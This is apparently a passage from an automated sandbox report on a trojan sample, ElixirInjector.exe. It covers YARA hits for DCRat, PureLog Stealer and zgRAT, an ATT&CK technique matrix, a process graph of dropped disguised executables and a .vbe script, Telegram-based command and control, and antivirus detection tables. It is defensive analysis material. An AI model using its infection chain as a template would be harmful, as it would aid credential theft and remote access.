              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeQueries volume information: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe VolumeInformation
              Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeQueries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe VolumeInformation
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeQueries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe VolumeInformation
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeQueries volume information: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe VolumeInformation
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2DF1E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,0_2_00F2DF1E
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F1B146 GetVersionExW,0_2_00F1B146
              Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Stealing of Sensitive Information

              barindex
              Yara detected DCRat
              Source: Yara matchFile source: 00000005.00000002.2669535434.0000000012933000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Bluestacks.exe PID: 3576, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fvXBwqYdGYPkplbuTcoXecCdP.exe PID: 8996, type: MEMORYSTR
              Yara detected PureLog Stealer
              Source: Yara matchFile source: 5.0.Bluestacks.exe.160000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000005.00000000.2216100697.0000000000162000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
              Yara detected zgRAT
              Source: Yara matchFile source: 5.0.Bluestacks.exe.160000.0.unpack, type: UNPACKEDPE

              Remote Access Functionality

              barindex
              Yara detected DCRat
              Source: Yara matchFile source: 00000005.00000002.2669535434.0000000012933000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Bluestacks.exe PID: 3576, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fvXBwqYdGYPkplbuTcoXecCdP.exe PID: 8996, type: MEMORYSTR
              Yara detected PureLog Stealer
              Source: Yara matchFile source: 5.0.Bluestacks.exe.160000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000005.00000000.2216100697.0000000000162000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
              Yara detected zgRAT
              Source: Yara matchFile source: 5.0.Bluestacks.exe.160000.0.unpack, type: UNPACKEDPE

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information11
              Scripting              		Valid Accounts11
              Windows Management Instrumentation              		11
              Scripting              		1
              DLL Side-Loading              		11
              Disable or Modify Tools              		OS Credential Dumping1
              System Time Discovery              		Remote Services1
              Archive Collected Data              		1
              Web Service              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault Accounts1
              Exploitation for Client Execution              		1
              DLL Side-Loading              		11
              Process Injection              		1
              Deobfuscate/Decode Files or Information              		LSASS Memory3
              File and Directory Discovery              		Remote Desktop ProtocolData from Removable Media1
              Ingress Tool Transfer              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts2
              Command and Scripting Interpreter              		1
              Scheduled Task/Job              		1
              Scheduled Task/Job              		2
              Obfuscated Files or Information              		Security Account Manager37
              System Information Discovery              		SMB/Windows Admin SharesData from Network Shared Drive11
              Encrypted Channel              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal Accounts1
              Scheduled Task/Job              		Login HookLogin Hook1
              Software Packing              		NTDS121
              Security Software Discovery              		Distributed Component Object ModelInput Capture3
              Non-Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
              DLL Side-Loading              		LSA Secrets1
              Process Discovery              		SSHKeylogging4
              Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts133
              Masquerading              		Cached Domain Credentials31
              Virtualization/Sandbox Evasion              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items31
              Virtualization/Sandbox Evasion              		DCSync1
              Application Window Discovery              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job11
              Process Injection              		Proc Filesystem1
              Remote System Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow11
              System Network Configuration Discovery              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1590004 Sample: ElixirInjector.exe Startdate: 13/01/2025 Architecture: WINDOWS Score: 100 73 api.telegram.org 2->73 75 ipinfo.io 2->75 89 Suricata IDS alerts for network traffic 2->89 91 Antivirus detection for dropped file 2->91 93 Multi AV Scanner detection for dropped file 2->93 97 13 other signatures 2->97 11 ElixirInjector.exe 3 14 2->11         started        14 fvXBwqYdGYPkplbuTcoXecCdP.exe 2->14         started        17 Bluestacks.exe 3 2->17         started        19 6 other processes 2->19 signatures3 95 Uses the Telegram API (likely for C&C communication) 73->95 process4 file5 61 C:\Users\user\AppData\...\Bluestacks.exe, PE32 11->61 dropped 63 QUJ9Bg46i5eTnOQKEn...Ubhx6iPrrb4U6kE.vbe, data 11->63 dropped 21 wscript.exe 1 11->21         started        113 Multi AV Scanner detection for dropped file 14->113 signatures6 process7 signatures8 99 Windows Scripting host queries suspicious COM object (likely to drop second stage) 21->99 101 Suspicious execution chain found 21->101 24 cmd.exe 1 21->24         started        process9 process10 26 Bluestacks.exe 17 25 24->26         started        31 conhost.exe 24->31         started        dnsIp11 77 api.telegram.org 149.154.167.220, 443, 49852 TELEGRAMRU United Kingdom 26->77 79 ipinfo.io 34.117.59.81, 443, 49843, 49847 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG United States 26->79 65 C:\Windows\ShellComponents\cmd.exe (copy), PE32 26->65 dropped 67 C:\Windows\...\fvXBwqYdGYPkplbuTcoXecCdP.exe, PE32 26->67 dropped 69 C:\Windows\...\fvXBwqYdGYPkplbuTcoXecCdP.exe, PE32 26->69 dropped 71 11 other malicious files 26->71 dropped 105 Antivirus detection for dropped file 26->105 107 Multi AV Scanner detection for dropped file 26->107 109 Machine Learning detection for dropped file 26->109 111 3 other signatures 26->111 33 cmd.exe 26->33         started        36 powershell.exe 26->36         started        38 powershell.exe 26->38         started        40 19 other processes 26->40 file12 signatures13 process14 signatures15 81 Uses ping.exe to sleep 33->81 83 Drops executables to the windows directory (C:\Windows) and starts them 33->83 85 Uses ping.exe to check the status of other devices and networks 33->85 42 fvXBwqYdGYPkplbuTcoXecCdP.exe 33->42         started        57 3 other processes 33->57 87 Loading BitLocker PowerShell Module 36->87 45 conhost.exe 36->45         started        47 WmiPrvSE.exe 36->47         started        49 conhost.exe 38->49         started        51 conhost.exe 40->51         started        53 conhost.exe 40->53         started        55 conhost.exe 40->55         started        59 13 other processes 40->59 process16 signatures17 103 Multi AV Scanner detection for dropped file 42->103

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              ElixirInjector.exe61%ReversingLabsByteCode-MSIL.Trojan.Uztuby
              ElixirInjector.exe65%VirustotalBrowse

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe100%AviraHEUR/AGEN.1339906
              C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe100%AviraHEUR/AGEN.1339906
              C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe100%AviraVBS/Runner.VPG
              C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe100%AviraHEUR/AGEN.1339906
              C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe100%Joe Sandbox ML
              C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe100%Joe Sandbox ML
              C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe100%Joe Sandbox ML
              C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe58%ReversingLabsByteCode-MSIL.Trojan.DCRat
